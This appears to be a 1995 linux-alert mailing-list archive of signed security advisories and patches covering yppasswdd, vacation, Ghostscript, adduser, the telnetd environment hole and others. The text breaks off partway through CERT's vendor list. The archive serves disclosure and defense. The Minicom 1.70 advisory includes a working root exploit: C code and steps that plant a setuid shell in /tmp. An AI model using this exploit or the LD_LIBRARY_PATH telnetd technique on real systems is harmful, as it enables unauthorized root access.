-----BEGIN PGP SIGNED MESSAGE-----
I just received a user report about a hole in my implementation
of yppasswdd. Under certain circumstances, this hole lets users with a
valid account on your machine gain access to other accounts.
This bug affects all versions up to and including ypasswdd-0.6.
Note that this vulnerability affects _only_ machines who use
a) The NIS password maps
b) Manage those password maps with rpc.yppasswdd.
To plug this hole, you should obtain and install the latest
version. I have uploaded yppasswd-0.7 to the following places:
ftp.lysator.liu.se:/pub/NYS/incoming (to be moved)
ftp.mathematik.th-darmstadt.de:/pub/linux/okir
linux.nrao.edu:/pub/people/okir
The MD5 signature is:
d22e0061f80f9c28d4b12eeff42e79be yppasswd-0.7.tar.gz
Many thanks to [email protected] for reporting this bug, and
apologies to everyone for this stupid oversight
Olaf
- --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
-----BEGIN PGP SIGNATURE-----
Version: 2.6
iQCVAgUBL+mHSuFnVHXv40etAQEuoAP8C4xxqMugpQItaHXOMpGxj3SHnQcj9uZw
eWFnguYZtXUTaDO/qmDR7I3lMmyhmIuRJ/yS+eC9afaMsyIzf9o+PoQ/7kdbjbEK
B3kRx5cQVHcheLI1gi1YRdbJySTYAM6JtvMwIZEyRY0W5LT3swcIJhejfoXwsui0
+wjsq5DkK9o=
=Fbqa
-----END PGP SIGNATURE-----
linux-alert/1995/linux-alert.9507100664 1767 1767 10262 6005637546 15622 0ustar majdommajdomFrom [email protected] Thu Jul 27 03:25:17 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id CAA08545; Thu, 27 Jul 1995 02:56:15 -0400
Received: from bach.cis.temple.edu ([email protected] [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA06023; Wed, 26 Jul 1995 15:14:42 -0400
Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id PAA06853; Wed, 26 Jul 1995 15:16:34 -0400
Date: Wed, 26 Jul 1995 15:16:33 -0400 (EDT)
From: alex
To: Linux Security Mailing List
cc: [email protected]
Subject: Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
Cipher-3.0/deslogin-1.3 problems caused by GCC 2.7.0
July 26, 1995 15:01 EST
Copyright (C) 1995 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/544C7805 1994/07/17 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
The cipher-3.0 is a high speed DES cipher used by the deslogin(1)
(encrypted login) and deslogingw(1) (encrypted login via gateway)
protocol to perfom encryption of the session. Those who installed
GCC 2.7.0 when compiling cipher-3.0 *HAVE TO TURN OFF* all optimization.
Even with the minimum optimization level (-O) GCC 2.7.0 breaks the code
of cipher.
When compiling cipher-3.0 edit the Makefile and change
CFLAGS and LDFLAGS to "-pipe -static"
otherwise, your cipher will produce incorrect ciphertext.
The default deslogin(1) and deslogingw(1) source trees, although use the
code from the cipher-3.0 tree, have their own separate Makefile. Prior to
compiling deslogin, modify CFLAGS and LDFLAGS to "-pipe -static" and
remove optimization flags.
WARNING: IF YOUR COMPILATION BREAKS THE CODE OF THE CIPHER, YOU
MAY END UP BROADCASTING OVER THE NETWORK INFORMATION THAT
*SUPPOSED* TO BE ENCRYPTED, THEREFORE COMPROMISING THE
PASSPHRASE.
deslogin(1), deslogingw(1) and cipher(1) can be obtained from
ftp://ftp.uu.net/pub/security/des/.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMBaT34xFUz2t8+6VAQEo/AP/SThg3ZHwM3hklsMGujOcLUPisNuJxo50
sLkqQi0mlc2Oo3nFDzLG0mvoX9M5Jer0qp1osdLTlZaxztYfhJSGJJjoAjK91hBR
dw1BCdMwhwlrfizaVi1ZLMFmlFvX8YKEMAaLwuQdFHCo/KhSOlb/4rrMunGPdUtl
RtFXqQDDl6o=
=Po3y
-----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
linux-alert/1995/linux-alert.9508100664 1767 1767 16360 6016452345 15622 0ustar majdommajdomFrom [email protected] Wed Aug 2 13:45:08 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA10473; Wed, 2 Aug 1995 13:11:39 -0400
Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA10414; Wed, 2 Aug 1995 13:04:45 -0400
Date: Wed, 2 Aug 1995 13:04:45 -0400
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected]
Subject: SECURITY ALERT: Dangerous hole in vacation v1.0.
X-Zippy: I'm having an EMOTIONAL OUTBURST!! But, uh, WHY is there a WAFFLE in my PAJAMA POCKET??
X-Mailer: VM 5.87 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
A major security hole in the Linux version of 'vacation' has been
detected and corrected. This hole affects version 1.0 of 'vacation' as
ported to Linux by Harald Milz (from Eric Allman's
original BSD source) and found on sunsite.unc.edu and other FTP sites
(and thus commonly used on Linux systems).
Note: The hole was introduced in the Linux port/version and does not
appear to affect other, non-Linux-specific, versions of vacation.
The hole involved passing the Subject: and From: headers of the incoming
e-mail message to 'sed' and 'sendmail' via a system() call. The extreme
danger of this, especially in a program that is taking input from remote
systems, should be apparent to most people that are familiar with the
system() call internals.
Thanks go to Olaf Kirch for detecting this hole and
for coding an initial fix, and to Harald Milz for enhancing Olaf's fix
to provide the same functionality as his (Harald's) previous version.
Version 1.1 (recently uploaded to sunsite.unc.edu) is a "safe" version.
UNDER _NO_ CIRCUMSTANCES SHOULD VERSION 1.0 BE USED!
Here is the LSM entry for the updated version:
Begin3
Title: Automatic mail answering program for Linux
Version: 1.1
Entered-Date: July 29, 1995
Description: This is the port of the 386bsd vacation program to Linux.
Vacation is the automatic mail answering program found
on many Unix systems.
This is a security fixed version. PLEASE DON'T USE vacation-1.0
ANY LONGER!
Keywords: vacation, mail answering
Author: Eric Allman (?)
Maintained-By: Harald Milz ([email protected])
Primary-Site: sunsite.unc.edu /pub/Linux/system/Mail/mailhandlers
28 KB vacation-1.1.tar.gz
Original-Site: agate.berkeley.edu (as of Nov 16, 1993)
Platforms: GCC 2.6.3, libc 5.0.9 or libc 4.7.2
Copying-Policy: Copyright (c) 1983, 1987 Regents of the University of California
changes relative to the original version: GPL
End
In addition to Sunsite, the updated version is available in
linux.nrao.edu:/pub/linux/security/vacation/. MD5 checksum of the
tar-file on linux.nrao.edu is:
f37ab91e18de1caa2c657509d8eb073b vacation-1.1.tar.gz
Note: For those that get syslog messages from 'sendmail' saying "mailer
prog died with signal 13" when running this new v1.1 (it's a SEGV; the
13 is octal), try the following patch (Harald plans on adding this, as
well as a couple of other slight modifications that I have made, in a
future public update to the newly-released v1.1):
diff -u --recursive 1.1-hm/vacation.c 1.1/vacation.c
--- 1.1-hm/vacation.c Sat Jul 29 18:08:57 1995
+++ 1.1/vacation.c Sun Jul 30 13:39:41 1995
@@ -184,8 +184,8 @@
setreply();
(void) gdbm_close(db);
sendmessage(pw->pw_name);
- }
- (void) gdbm_close(db);
+ } else
+ (void) gdbm_close(db);
exit(0);
/* NOTREACHED */
}
- --
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMB+wBrxzFUpUTHgFAQGuwwQA1XLiDP93tUE84d0nQOz34iM6GtHBF4AT
9IXsHNrgZpAwUcbYsYTlmvICrrxqyozBkfqGYTpH44ajV5dGcqb9FZmyO//x7/JY
LaejDEnp8ByigDf0++w7cxoRF7gwWFeNq2WvpFgbgqLWEer+Ci/mBKkEo0FY397E
TQWmk4ekFJ8=
=akI7
-----END PGP SIGNATURE-----
From [email protected] Tue Aug 22 18:06:16 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA27336; Tue, 22 Aug 1995 17:40:39 -0400
Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA26552; Tue, 22 Aug 1995 15:20:29 -0400
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0skysD-0005AsC; Tue, 22 Aug 95 21:20 MET DST
Received: by monad.swb.de (smail3.1.29.0 #5)
id m0skz0i-00005AC; Tue, 22 Aug 95 21:29 MET DST
Message-Id:
From: [email protected] (Olaf Kirch)
Subject: Ghostscript problem
To: [email protected]
Date: Tue, 22 Aug 1995 21:29:19 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Content-Length: 2047
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Hi all,
There's another problem with ghostscript that makes you vulnerable to
attacks via postscript code. Ghostscript has a file type that lets you
execute arbitrary commands through the shell. While the -dSAFER option
to gs protects you from ordinary file write/rename/removal attacks, it
does not check for this special file type. The hole is present in all
GNU versions up to 2.6.2 and Aladdin versions earlier than 3.22.
Below's a fix to gs_init.ps that fixes this.
Please also make sure that all programs that use ghostscript set the -dSAFER
option. ghostview 1.5 does by default, but version 1.4 does not. I'd
suggest you also check your ps printer filter if you print postscript
files using gs, and xdvi if you use a version that uses ghostscript to
display postscript \special's. I checked only xdvi-20, and it's safe.
Olaf
PS: Patch follows. PGP will garble initial `-' characters in the
patch; make sure to replace `- -' with `-' before applying it.
- ------------------------------------------------------------------
- --- gs_init.ps.orig Sun Aug 20 23:22:01 1995
+++ gs_init.ps Sun Aug 20 23:22:46 1995
@@ -302,7 +302,8 @@
% If we want a "safer" system, disable some obvious ways to cause havoc.
SAFER not { (%END SAFER) .skipeof } if
/file
- - { dup (r) eq
+ { exch dup /..fname exch def exch
+ dup (r) eq ..fname (%pipe%*) .stringmatch not and
{ file }
{ /invalidfileaccess signalerror }
ifelse
- ------------------------------------------------------------------
- --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
-----BEGIN PGP SIGNATURE-----
Version: 2.6
iQCVAgUBMDowAOFnVHXv40etAQH3swP8CrvRFW2+wXgqJqQTdCVIgUGk/QasREgP
PPwaYKy/oD0ak2HFXXdvkUoMbGlhDqlVbDY7cm0M7wuTAxpejtPxspDlacvQSuO7
XA50N9++2P5npmFWa6IBupz4X69nPlnAVBjk/qF4PbpMKdrgIWx23CqecccBrmeC
kezpwwcp32Y=
=dhSU
-----END PGP SIGNATURE-----
linux-alert/1995/linux-alert.9509100664 1767 1767 6142 6026415200 15566 0ustar majdommajdomFrom [email protected] Fri Sep 15 20:29:41 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA10734; Fri, 15 Sep 1995 18:49:54 -0400
Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA09184; Fri, 15 Sep 1995 14:07:19 -0400
Received: by dfw.net (4.1/SMI-4.1)
id AA12394; Fri, 15 Sep 95 13:05:09 CDT
Date: Fri, 15 Sep 1995 13:05:09 -0500 (CDT)
From: Aleph One
To: [email protected]
Subject: Minicom 1.70
Message-Id:
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Program: Minicom 1.70.
Problem: Minicom users defined in its minicom.users file can gain root access.
Explanation: Some distributions install minicom setuid root so that it
can access callout devices (/dev/cua0, /dev/ttyS0, /dev/modem).
Minicom also allows users to create scripts that can be used
to automate logins, and other tasks. This scripts are interpreted
by runscript(1). runscript(1) allows arbitrary shell escapes.
Minicom forks and exec runscript(1) without calling setreuid(2)
to drop priviledges. Therefore it fallows the user can execute
arbitrary commands with the privilege of minicom.
To complicate matters even more some distributions install
minicom.users file with default user names. In the case of
Slackware this are: gonzo, satan, snake. If you create accounts
with this names on you system you are oppening you self to
a security breach. If you have accounts under those name you might
want to disable them until security is restored. If a users
asks you to change their username to one of those or to create an
account with one of those names DO NOT DO IT!
Exploit: Create a program that sets its real and effective uid to 0,
then executes a shell command such as copying a shell and making it
setuid root. This will do:
#include
#include
void main() {
setreuid(0,0);
system("/bin/cp /bin/sh /tmp/mysh");
system("/bin/chmod 4777 /tmp/mysh");
}
Create a minicom script that will execute our program.
echo '! /tmp/gime' > /tmp/foo
Start minicom and type Control-A then G. Select C and enter
the name for our minicom script (/tmp/foo). Hit return and
execute the script. Exit minicom and you should find a setuid sh
named as /tmp/mysh.
Solution: Upgrade to minicom 1.71. Futhermore minicom should not be suid root.
Minicom should be of the same group as the dialout device (normally
tty, dialout, modem, or uucp), and setguid. On a side note many
distributions have the correct premission in the /dev/cua devices
but not on their equivalent /dev/ttyS devices. This is the case of
debian 0.93. To fix chown root.dialout /dev/ttyS*; chmod o-rwx
/dev/ttyS*. Make sure that this does brake your other serial devices
such as your mouse.
Aleph One / [email protected]
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint B6 C3 BD 8A 7A 79 03 55 CC 24 F4 01 2B BD 90 3A
linux-alert/1995/linux-alert.9510100664 1767 1767 12451 6041251013 15573 0ustar majdommajdomFrom [email protected] Wed Oct 18 15:14:08 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA05030; Wed, 18 Oct 1995 14:10:27 -0400
Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id UAA02329; Tue, 17 Oct 1995 20:33:08 -0400
Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id UAA06778; Tue, 17 Oct 1995 20:34:08 -0400
Date: Tue, 17 Oct 1995 20:34:06 -0400 (EDT)
From: alex
To: Linux Security Mailing List ,
[email protected]
Subject: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[NB: I didn't write the adduser replacement; I just modified it. --okir]
-----BEGIN PGP SIGNED MESSAGE-----
adduser-1.0 Security Vulnerability
LINUX SECURITY FAQ UPDATE
October 17, 1995 15:30:01 EST
Copyright (C) 1995 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/544C7805 1994/07/17 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of the signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security/
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive/
=============================================================================
VULNERABILITY
*************
The adduser 1.0 script used on a lot of systems to add a
new user account has a potential vulnerability that in some
cases can allow an owner of the created account to gain
unauthorized root access. The original version of this
script had a mistake in the algorithm used to generate a
new UID, which on systems that had accounts with UID
close to 65535 (i.e. accounts 'nobody' with UID -2 or -1)
caused the newly generated account to receive UID 0.
AFFECTED DISTRIBUTIONS:
***********************
RED HAT
=======
Red Hat 2.0 uses a vulnerable version of the adduser
script. Fortunately, Red Hat 2.0 systems by default
do not have any accounts with UID higher than 1000.
Nevertheless, an updated package is available from
the following places:
ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/RPMS/adduser-1.1-1.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm
ftp://linux.nrao.edu/pub/people/alex/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm
Please verify the MD5 message digest of the
upgrade before installing. It has to be :
MD5 (adduser-1.1-1.i386.rpm) = 543fab52c0cf6ae4751858d08cf958bd
The upgrade can be performed using command
rpm -USvh adduser-1.1-1.i386.rpm
CALDERA DESKTOP
===============
Unfortunately at this time we are not able to
provide adequate information about vulnerability
of the Caldera Desktop, though due to the fact that
Caldera Desktop is based up RedHat 2.0, we recommend
installing the updated adduser script.
SLACKWARE
=========
By default Slackware does not use the vulnerable
adduser script, although we do recommend that you
check. If it does, replace your adduser script with
the one located on:
ftp://bach.cis.temple.edu/pub/Linux/Security/adduser-1.1-ok.gz
ftp://linux.nrao.edu/pub/people/alex/adduser-1.1-ok.gz
Please verify the MD5 message digest of the
adduser-1.1-ok.gz before installing it. It has to be:
MD5 (adduser-1.1-ok.gz) = ceadb362f6761c59fc8e37e5ef7dcd29
OTHER DISTRIBUTIONS:
Please follow the instructions under Slackware section.
THE REPLACEMENT SCRIPT
**********************
The replacement script was written by Olaf Kirch some time
ago (probably when we discussed the possibility of roll-over
in the linux-security mailing list). This script also uses
a bit different algorithm of user ID allocation (first
unused userid after uid of 500).
CREDITS
*******
The following people helped in preparing this update and fix:
Marc R. Ewing
Olaf Kirch
Jennifer Burke
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMIRHPIxFUz2t8+6VAQHCfwP+NK3JiT93q0x7gyJnh37KlUqvRA66ssj2
YCamjV87yNqB5419ctWOe9nPwUMelYuFXnR7cw+a7HMhmFM7nXnOhB3TN5Rari+U
MCKkhxnIpwrPh/c6MPsX3mVXW9XW/7sDeCOTdXqUJC9dveY0OHxdd6T639u5UcAA
Y9HK6NmGUt4=
=tzew
-----END PGP SIGNATURE-----
linux-alert/1995/linux-alert.9511100664 1767 1767 67354 6050252066 15621 0ustar majdommajdomFrom [email protected] Sun Nov 5 16:02:19 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06135; Sun, 5 Nov 1995 15:37:40 -0500
Received: from passer.osg.gov.bc.ca ([email protected] [142.32.110.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id TAA26571; Thu, 2 Nov 1995 19:58:48 -0500
Received: from localhost (localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.7.1/8.6.10) with SMTP id QAA24470 for [email protected]; Thu, 2 Nov 1995 16:58:45 -0800 (PST)
From: Cy Schubert - BCSC Open Systems Group
Message-Id: <[email protected]>
X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol
X-Mailer: DXmail
To: [email protected]
Subject: Telnetd Environment Vulnerability
Date: Thu, 02 Nov 95 16:58:43 -0800
X-Mts: smtp
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
There is a serious problem with various telnetd daemons which will cause
/bin/login to give a root shell. I haven't had a chance to test this on my
Linux boxes at home, however it does fix the problem under DEC's OSF/1.
I managed to find this wrapper in CERT Advisory CA-95:14.
/*
* This is a login wrapper that removes all instances of
* various variables from the environment.
*
* Note: this program must be compiled statically to be
* effective against exploitation.
*
* Author: Lawrence R. Rogers
*
* 10/25/95 version 1.1 Original version
* 10/26/95 version 1.2 ELF_ variables removed (Linux)
* 10/27/95 version 1.3 ELF_ changed to ELF_LD_
* Added AOUT_LD_ (Linux)
*
*/
#include
#if !defined(_PATH_LOGIN)
# define _PATH_LOGIN "/bin/login.real"
#endif
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
register char **p1, **p2;
for (p1 = p2 = envp; *p1; p1++) {
if (strncmp(*p1, "LD_", 3) != 0 &&
strncmp(*p1, "_RLD", 4) != 0 &&
strncmp(*p1, "LIBPATH=", 8) != 0 &&
strncmp(*p1, "ELF_LD_", 7) != 0 &&
strncmp(*p1, "AOUT_LD_", 8) != 0 &&
strncmp(*p1, "IFS=", 4) != 0 ) {
*p2++ = *p1;
}
}
*p2 = 0;
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
Regards, Phone: (604)389-3827
Cy Schubert OV/VM: BCSC02(CSCHUBER)
Open Systems Support BITNET: [email protected]
BC Systems Corp. Internet: [email protected]
[email protected]
"Quit spooling around, JES do it."
From [email protected] Sun Nov 5 16:02:22 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06128; Sun, 5 Nov 1995 15:36:26 -0500
Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id SAA26245; Thu, 2 Nov 1995 18:25:39 -0500
Received: from FOUNDATION.MIT.EDU by MIT.EDU with SMTP
id AA27282; Thu, 2 Nov 95 18:24:51 EST
Received: from localhost by foundation.mit.edu (8.6.10/4.7) id SAA19520; Thu, 2 Nov 1995 18:25:31 -0500
Message-Id: <[email protected]>
To: [email protected]
Subject: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability
Date: Thu, 02 Nov 1995 18:25:29 -0500
From: Erik Nygren
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[Note to moderator: Feel free to modify this message in any way
you see fit. I just thought that fixes for this should be sent to
or announced on linux-alert or comp.os.linux.announce as soon
as possible.]
This vulnerability affects Linux as well as many other platforms.
Either the full advisory or at least some subset of it should be
sent out to linux-alert.
To summarize, telnet allows you to pass environmental options to
telnetd which sets them before calling login. This allows
LD_LIBRARY_PATH and other variables used by ld.so to be set before
login is called. Because login is being called by a process running
as root (rather than being a suid root executable) the LD_LIBRARY_PATH
variable may be set, causing an alternate version of libc to be called
by login as root. Using this vulnerability, any user can gain root
access to a machine. A local account is not required for machines
with a networked file system (such as AFS or NFS) or a writable ftp
directory.
The CERT announcement follows:
=============================================================================
CA-95:14 CERT Advisory
November 1, 1995
Telnetd Environment Vulnerability
-----------------------------------------------------------------------------
The CERT Coordination Center has been made aware of a vulnerability with
some telnet daemons. The daemons affected are those that support RFC 1408
or RFC 1572, both titled "Telnet Environment Option," running on systems
that also support shared object libraries.
To determine if your system is potentially vulnerable, refer to the
information we have received from vendors which is summarized in
Section III below; details are in Appendix A and reproduced in the
CA-95:14.README file. Note that if you installed a version of David
Borman's telnet package that is older than October 23, 1995, your
system may be vulnerable even though it was not vulnerable as distributed
by the vendor.
If your vendor is not listed, you will need to determine if your system
may be vulnerable. First, determine if your telnet daemon is RFC 1408/1572
compliant. One indication that it is compliant is if your telnet(1)
program supports the "environ" command or your telnetd(8) program supports
the ENVIRON or NEW-ENVIRON options. Unless you are certain that your
telnet daemon is not RFC 1408/1572 compliant, you may wish to assume it is
to be safe. Second, determine if your system supports shared libraries. To
do this, consult the ld(1) manual page. If it describes dynamic or shared
objects, your system probably supports shared object libraries. A system
is potentially vulnerable if the telnet daemon supports RFC 1408/RFC 1572
and the system supports shared object libraries.
We recommend that you follow your vendor's directions for addressing this
vulnerability. Until you can install a patch, we recommend using the
workaround in Appendix B below. If you have previously installed David
Borman's telnet package on your system, we recommend that you obtain the
current version of telnet (see Section III.C).
As we receive additional information relating to this advisory, we will
place it in:
ftp://info.cert.org/pub/cert_advisories/CA-95:14.README
We encourage you to check our README files regularly for updates on
advisories that relate to your site.
-----------------------------------------------------------------------------
I. Description
Some telnet daemons support RFC 1408 or RFC 1572, both titled "Telnet
Environment Option." This extension to telnet provides the ability
to transfer environment variables from one system to another. If
the remote or targeted system, the one to which the telnet is
connecting, is running an RFC 1408/RFC 1572-compliant telnet daemon
*and* the targeted system also supports shared object libraries, then
it may be possible to transfer environment variables that influence
the login program called by the telnet daemon. By influencing that
targeted system, a user may be able to bypass the normal login and
authentication scheme and may become root on that system.
Users with accounts on the targeted system can exploit this
vulnerability. Users without accounts on that system can also
exploit this vulnerability if they are first able to deposit an
altered shared object library onto the targeted system. Therefore, a
system may be vulnerable to users with and without local accounts.
Not all systems that run an RFC 1408/RFC 1572-compliant telnet daemon
and support shared object libraries are vulnerable. Some vendors have
changed the trust model such that environment variables provided by
the telnet daemon are not trusted and therefore are not used by the
login program. Section III contains a summary of information vendors
have reported as of the date of this advisory.
II. Impact
Local and remote users can become root on the targeted system.
III. Solution
The general solution to this problem is to replace the telnet daemon
with one that changes the environment given to the login program. We
recommend that you install a patch from your vendor if possible. If this
is not possible, we recommend using the workaround in Appendix B until
you can install a patch. Finally, if you have previously installed Mr.
Borman's telnet package, see Section C for how to get a new version that
fixes the vulnerability.
A. Vendor Patches
Below is a summary of the vendors listed in the current version of
the CA-95:14.README file, and the status they have provided. More
complete information, including how to obtain patches, is provided
in Appendix A of this advisory and reproduced in the README file.
We will update the README file as we receive more information from
vendors.
If your vendor's name is not on this list, please contact the
vendor directly.
REMINDER: If you installed a version of David Borman's telnet package
that is older than October 23, 1995, your system may be
vulnerable even though it was not vulnerable as distributed
by the vendor.
Vendor or Source Status
---------------- ------------
Apple Computer not vulnerable
Berkeley Software Design not vulnerable
Cray Research not vulnerable
CYGNUS cns-95q1 - vulnerable
cns-95q4 - not vulnerable
Data General not vulnerable
Digital Equipment Ultrix - not vulnerable
OSF/1 - vulnerable
FreeBSD vulnerable
Harris not vulnerable
Hewlett-Packard not vulnerable
Linux Debian - vulnerable
Red Hat - vulnerable
Slackware - appears vulnerable
MIT-distributed for Athena vulnerable
NetBSD 1.0 - vulnerable
current - not vulnerable
NEC vulnerable
Open Software Foundation OSF/1 version 1.3 not vulnerable
OpenVision OpenV*Secure 1.2 - vulnerable
SCO not vulnerable
SGI 5.2, 5.3, 6.0.1, 6.1 - vulnerable
Sony Corp. NEWS-OS 6.x - not vulnerable
B. Workaround
Until you can install a patch from your vendor, you can use
the workaround provided in Appendix B.
C. If you have installed a previous version of Mr. Borman's
telnet package, note that he has fixed this problem in
the version available at the following location:
ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z
MD5 checksum 2e14879a5b0aa6dd855a17fa8a3086cf
---------------------------------------------------------------------------
The CERT Coordination Center staff thanks Eric Halil of AUSCERT, Wolfgang
Ley of DFNCERT, and Sam Hartman of the MIT Kerberos Development team for
their support in responding to this problem.
---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident
Response and Security Teams (FIRST).
If you wish to send sensitive incident or vulnerability information to
CERT staff by electronic mail, we strongly advise that the email be
encrypted. The CERT Coordination Center can support a shared DES key, PGP
(public key available via anonymous FTP on info.cert.org), or PEM (contact
CERT staff for details).
Internet email: [email protected]
Telephone: +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
and are on call for emergencies during other hours.
Fax: +1 412-268-6989
Postal address: CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
USA
CERT advisories and bulletins are posted on the USENET newsgroup
comp.security.announce. If you would like to have future advisories and
bulletins mailed to you or to a mail exploder at your site, please send mail
to [email protected].
Past CERT publications, information about FIRST representatives, and
other information related to computer security are available for anonymous
FTP from info.cert.org.
Copyright 1995 Carnegie Mellon University
This material may be reproduced and distributed without permission provided it
is used for non-commercial purposes and the copyright statement is included.
CERT is a service mark of Carnegie Mellon University.
..............................................................................
Appendix A: Vendor Information
Current as of November 1, 1995
See CA-95.14.README for updated information
Below is information we have received from vendors. If you do not see your
vendor's name below, contact the vendor directly for information.
Apple Computer, Inc.
--------------------
Apple's A/UX is not vulnerable.
Berkeley Software Design, Inc.
-----------------------------
BSDI's BSD/OS is not vulnerable.
Cray Research, Inc.
-------------------
Cray's UNICOS is not vulnerable.
CYGNUS Network Security V4 Free Network Release
----------------------------------------------------
cns-95q1 is vulnerable. cns-95q4 is not vulnerable.
Customers can use the following URL to obtain the patch:
http://www.cygnus.com/data/cns/telnetdpatch.html
If customers are unable to obtain the patch in this manner
or have any questions, send e-mail to [email protected]/
Note that while the URL and patch are already available, there
is no link to the page yet. We will add a link once the
announcement has been made.
Data General Corporation
------------------------
Data General believes the DG/UX operating system to be
NOT vulnerable to this problem. This includes all supported
releases, DG/UX 5.4 Release 3.00, DG/UX 5.4 Release 3.10,
DG/UX Release 4.10 and all related Trusted DG/UX releases.
Specifically, telnetd shipped in DG/UX does not support
environment options and does not support RFC 1572.
Digital Equipment Corporation
-----------------------------
Digital's OSF/1: vulnerable
Digital's ULTRIX: not vulnerable
Digital has corrected this potential vulnerability. Patches containing
new images for Digital's OSF/1 platforms are being provided to your
normal Digital Support channels beginning October 31 (U.S. time). The
